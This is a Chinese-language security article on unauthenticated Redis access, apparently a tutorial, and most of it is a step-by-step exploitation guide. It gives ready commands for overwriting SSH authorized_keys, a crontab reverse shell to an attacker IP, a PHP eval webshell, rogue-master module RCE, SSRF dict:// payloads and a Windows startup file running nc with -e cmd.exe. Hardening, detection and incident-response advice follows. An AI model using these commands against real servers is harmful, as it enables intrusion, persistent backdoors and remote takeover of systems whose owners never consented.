Redis系列漏洞总结
字数 1154 2025-08-15 21:31:56
Redis未授权访问漏洞全面分析与利用指南
一、Redis简介与基本概念
Redis是一个开源的key-value存储系统,支持多种数据结构:
- 字符串(string)
- 列表(list)
- 集合(set)
- 有序集合(zset)
- 哈希(hash)
特点:
- 数据缓存在内存中,保证高效访问
- 支持数据持久化到磁盘
- 支持主从复制(master-slave)模式
二、Redis常见命令
基本操作命令
SET key value # 设置键值
GET key # 获取键值
KEYS * # 列出所有键
FLUSHALL # 删除所有数据
DEL key # 删除指定键
SAVE # 手动触发数据持久化
配置相关命令
CONFIG SET dir /path/to/dir # 设置持久化目录
CONFIG SET dbfilename filename # 设置持久化文件名
CONFIG GET dir # 查看当前目录
CONFIG GET dbfilename # 查看当前文件名
CONFIG SET protected-mode no # 关闭保护模式
三、Redis未授权访问漏洞原理
Redis默认配置存在以下安全隐患:
- 默认绑定0.0.0.0(所有网络接口)
- 默认无密码认证
- 默认protected-mode关闭(3.2版本后新增)
- 可以动态修改持久化目录和文件名
四、漏洞利用方式
1. 写入SSH公钥实现未授权登录
前提条件:
- Redis以root权限运行
- 目标服务器开启SSH服务并允许密钥认证
利用步骤:
- 本地生成SSH密钥对:
ssh-keygen -t rsa
- 将公钥写入Redis:
config set dir /root/.ssh/
config set dbfilename authorized_keys
set xz "\n\n<公钥内容>\n\n"
save
- 使用私钥SSH登录:
ssh -i id_rsa root@目标IP
2. 利用计划任务反弹Shell
前提条件:
- Redis以root权限运行
- 目标系统使用crontab计划任务
利用步骤:
- 攻击机监听端口:
nc -lvp 8888
- 通过Redis写入计划任务:
config set dir /var/spool/cron/
config set dbfilename root
set xz "\n* * * * * bash -i >& /dev/tcp/攻击IP/8888 0>&1\n"
save
注意:Ubuntu系统可能存在乱码问题,建议在CentOS上测试
3. 直接写入Webshell
前提条件:
- 知道网站绝对路径
- 有目录写权限
- Redis以root或Web服务器用户运行
利用步骤:
config set dir /var/www/html/
config set dbfilename shell.php
set xz "\n\n<?php @eval($_POST['cmd']);?>\n\n"
save
4. 主从复制RCE
前提条件:
- Redis版本4.x-5.0.5
- Redis以root权限运行
利用步骤:
- 设置主从关系:
slaveof 攻击IP 6379
- 使用工具生成恶意.so文件:
git clone https://github.com/n0b0dyCN/redis-rogue-server
cd RedisModulesSDK
make
- 执行攻击:
python3 redis-rogue-server.py --rhost 目标IP --lhost 攻击IP --exp module.so
5. 结合SSRF利用
前提条件:
- 存在SSRF漏洞
- 目标支持dict协议
利用方式:
dict://目标IP:6379/slaveof:攻击IP:6379
dict://目标IP:6379/config:set:dir:/var/www/html
dict://目标IP:6379/config:set:dbfilename:ssrf.php
dict://目标IP:6379/save
五、Windows系统下的利用
- 写入Webshell:同Linux方式
- 写入启动项:
config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/"
config set dbfilename shell.bat
set xz "\n\n@echo off\nnc.exe 攻击IP 端口 -e cmd.exe\n\n"
save
- 写入MOF文件(Windows 2003):
config set dir /etc/
config set dbfilename root.mof
set xz "\n\n#PRAGMA NAMESPACE (\\\\.\\root\\subscription] ...\n\n"
save
六、漏洞防御方案
-
网络层防护:
- 修改bind配置为127.0.0.1
bind 127.0.0.1- 启用防火墙限制访问IP
-
认证加固:
- 设置强密码
requirepass 复杂密码- 禁用高危命令
rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL "" -
权限控制:
- 使用非root用户运行Redis
groupadd -r redis && useradd -r -g redis redis -
文件保护:
- 保护SSH authorized_keys文件
chmod 400 ~/.ssh/authorized_keys chattr +i ~/.ssh/authorized_keys chattr +i ~/.ssh -
其他配置:
- 修改默认端口
port 非标准端口- 启用protected-mode(Redis 3.2+)
protected-mode yes
七、检测工具
-
批量检测脚本:
-
手动检测:
redis-cli -h 目标IP
> info # 查看信息
> config get dir # 尝试获取配置
八、应急响应建议
发现Redis未授权访问漏洞后:
- 立即修改Redis配置并重启服务
- 检查服务器是否有异常用户、进程和文件
- 检查计划任务和启动项
- 检查SSH authorized_keys文件
- 更新系统补丁和安全配置
通过以上全面的防护措施,可以有效降低Redis服务的安全风险。